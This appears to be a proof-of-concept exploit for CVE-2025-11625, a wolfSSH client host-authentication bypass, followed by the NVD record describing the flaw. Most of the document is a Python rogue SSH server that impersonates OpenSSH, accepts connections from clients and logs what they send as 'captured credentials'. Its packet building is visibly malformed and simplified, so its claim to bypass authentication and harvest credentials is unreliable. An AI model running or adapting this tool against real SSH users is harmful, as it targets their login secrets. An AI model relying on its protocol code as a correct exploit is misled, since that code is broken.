CVE-2025-11625

# CVE-2025-11625 - wolfSSH Client Host Authentication Bypass PoC # This PoC demonstrates the concept of exploiting improper host authentication # in wolfSSH clients version 1.4.20 and earlier. import socket import threading import hashlib import struct import os class MaliciousSSHServer: """ A rogue SSH server that exploits the host authentication bypass vulnerability in wolfSSH clients (CVE-2025-11625). """ def __init__(self, host='0.0.0.0', port=2222): self.host = host self.port = port self.captured_credentials = [] # Generate a rogue host key (attacker-controlled) self.rogue_host_key = hashlib.sha256(os.urandom(32)).hexdigest() def generate_ssh_banner(self): """Generate SSH protocol banner""" return b"SSH-2.0-OpenSSH_8.9 RogueServer\r\n" def handle_client(self, client_socket, address): """Handle incoming SSH connection from vulnerable client""" try: print(f"[*] Connection from {address}") # Step 1: Send SSH banner banner = self.generate_ssh_banner() client_socket.send(banner) print(f"[*] Sent banner: {banner.strip()}") # Step 2: Receive client banner client_banner = client_socket.recv(1024) print(f"[*] Client banner: {client_banner.strip()}") # Step 3: Send KEXINIT with our rogue parameters # The vulnerable wolfSSH client will accept any host key kexinit = self.build_kexinit() client_socket.send(kexinit) print("[*] Sent KEXINIT with rogue host key") # Step 4: Receive client's KEXINIT client_kexinit = client_socket.recv(4096) print("[*] Received client KEXINIT") # Step 5: Send rogue ECDH key exchange reply # Since host authentication is bypassed, client accepts this kex_reply = self.build_kex_reply() client_socket.send(kex_reply) print("[*] Sent KEX reply with rogue host key") # Step 6: Wait for client's userauth request (credentials) auth_data = client_socket.recv(4096) if auth_data: print(f"[!] CAPTURED CREDENTIALS: {auth_data.hex()}") self.captured_credentials.append({ 'source': address, 'data': auth_data, 'timestamp': os.times() }) except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def build_kexinit(self): """Build a malicious KEXINIT packet""" # Simplified - real implementation would follow SSH spec packet = b'\x00' * 16 # cookie packet += b'curve25519-sha256' + b'\x00' packet += b'ssh-rsa' + b'\x00' packet += b'[email protected]' + b'\x00' return packet def build_kex_reply(self): """Build KEX reply with rogue host key""" # KEX reply containing attacker's host key # Vulnerable client does not verify this against known_hosts reply = struct.pack('>I', 30) # SSH_MSG_KEX_ECDH_REPLY reply += b'\x00\x00\x00\x07ssh-rsa' # key type reply += os.urandom(256) # fake RSA public key return reply def start(self): """Start the malicious SSH server""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((self.host, self.port)) server.listen(5) print(f"[*] Malicious SSH server listening on {self.host}:{self.port}") print("[*] Waiting for vulnerable wolfSSH clients...") while True: client, addr = server.accept() thread = threading.Thread(target=self.handle_client, args=(client, addr)) thread.daemon = True thread.start() if __name__ == "__main__": print("=" * 60) print("CVE-2025-11625 PoC - wolfSSH Host Authentication Bypass") print("=" * 60) server = MaliciousSSHServer(port=2222) try: server.start() except KeyboardInterrupt: print("\n[*] Server stopped") print(f"[*] Total credentials captured: {len(server.captured_credentials)}")

{"cve": {"id": "CVE-2025-11625", "sourceIdentifier": "[email protected]", "published": "2025-10-21T14:15:46.997", "lastModified": "2025-12-04T20:43:02.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper host authentication vulnerability in wolfSSH version 1.4.20 and earlier clients that allows authentication bypass and leaking of clients credentials."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:X/U:Red", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "RED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssh:wolfssh:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.4.20", "matchCriteriaId": "A41BD0CF-B12E-46A5-BB36-6CE244516A98"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssh/pull/840", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}